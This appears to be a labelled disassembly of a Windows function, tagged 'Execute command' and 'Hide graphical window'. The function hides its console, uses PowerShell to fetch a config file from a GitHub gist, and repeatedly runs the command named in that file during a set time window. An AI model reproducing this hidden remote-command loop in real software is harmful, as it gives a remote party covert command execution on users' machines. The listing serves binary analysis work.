Function at 0x140001a13
Capabilities:
Execute command
Hide graphical window

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x1f0
lea rbp, [rsp + 0x80]
call sym.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x168], rax
mov rax, qword [rbp + 0x168]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp + 0x8f]
mov qword [rbp + 0x150], rax
nop
nop
lea rdx, [rbp + 0x8f]
lea rax, [rbp + 0x60]
mov r8, rdx
lea rdx, str.https:__gist.githubusercontent.com_lordczarek_537db99e9bb87f00d98b69e01b29dc4d_raw_bb6cb336848f7e303d7eae3e8aa63e8d9ada0bb7_XYZ.txt
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
nop
lea rax, [rbp + 0x90]
lea rdx, [rbp + 0x60]
mov r8, rdx
lea rdx, str.powershell__Command___Invoke_WebRequest__Uri_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x40]
lea rdx, [rbp + 0x90]
lea r8, str.__UseBasicParsing_.Content_
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > std::operator+<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&, char const*)
lea rax, [rbp + 0x90]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
lea rax, [rbp + 0x40]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::c_str() const
mov rdx, rax
lea rax, [rbp - 0x50]
mov rcx, rax
call dbg.exec_command[abi:cxx11](char const*)
lea rax, [rbp - 0x50]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::empty() const
xor eax, 1
test al, al
je 0x140001d3b
lea rax, [rbp - 0x10]
lea rdx, [rbp - 0x50]
mov rcx, rax
call dbg.parse_config(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)
lea rax, [rbp + 0xdf]
mov qword [rbp + 0x148], rax
nop
nop
lea rdx, [rbp + 0xdf]
lea rax, [rbp + 0xb0]
mov r8, rdx
lea rdx, str.godzina_wylaczenia_od
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rdx, [rbp + 0xb0]
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.std::map_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______std::allocator_std::pair_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________::operator___std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::c_str() const
mov rcx, rax
lea r8, [rbp + 0x38]
lea rdx, [rbp + 0x3c]
lea rax, [rbp + 0x34]
mov qword [rsp + 0x20], rax
mov r9, r8
mov r8, rdx
lea rax, str._d:_d:_d
mov rdx, rax
mov rax, qword [sym.imp.msvcrt.dll_sscanf_s]
call rax
lea rax, [rbp + 0xb0]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
nop
lea rax, [rbp + 0x10f]
mov qword [rbp + 0x140], rax
nop
nop
lea rdx, [rbp + 0x10f]
lea rax, [rbp + 0xe0]
mov r8, rdx
lea rdx, str.godzina_wylaczenia_do
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rdx, [rbp + 0xe0]
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.std::map_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______std::allocator_std::pair_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________::operator___std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::c_str() const
mov rcx, rax
lea r8, [rbp + 0x2c]
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x28]
mov qword [rsp + 0x20], rax
mov r9, r8
mov r8, rdx
lea rax, str._d:_d:_d
mov rdx, rax
mov rax, qword [sym.imp.msvcrt.dll_sscanf_s]
call rax
lea rax, [rbp + 0xe0]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
nop
lea rax, [rbp + 0x137]
mov qword [rbp + 0x138], rax
nop
nop
lea rdx, [rbp + 0x137]
lea rax, [rbp + 0x110]
mov r8, rdx
lea rdx, str.polecenie_wylaczenia
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rdx, [rbp + 0x110]
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.std::map_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______std::allocator_std::pair_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________::operator___std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
mov rdx, rax
lea rax, [rbp - 0x30]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)
lea rax, [rbp + 0x110]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
nop
mov r8d, dword [rbp + 0x28]
mov ecx, dword [rbp + 0x2c]
mov r9d, dword [rbp + 0x30]
mov r10d, dword [rbp + 0x34]
mov edx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x3c]
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], ecx
mov r8d, r10d
mov ecx, eax
call dbg.is_within_time_range(int, int, int, int, int, int)
test al, al
je 0x140001cf6
lea rax, [rbp - 0x30]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::c_str() const
mov rcx, rax
call sym.system
mov dword [rbp + 0x164], eax
cmp dword [rbp + 0x164], 0
je 0x140001d21
lea rax, str.Error_E0001
mov rdx, rax
mov rax, qword [0x1400d6000]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [str.p_f_]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x140001d21
lea rax, str.Out_of_allowed_time_range
mov rdx, rax
mov rax, qword [0x1400d6000]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [str.p_f_]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp - 0x30]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.std::map_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______std::allocator_std::pair_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________::map__
jmp 0x140001d66
lea rax, str.Error_E0002:_Could_not_retrieve_config
mov rdx, rax
mov rax, qword [0x1400d6000]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [str.p_f_]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp - 0x50]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
mov ecx, 0xea60
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x140001ac6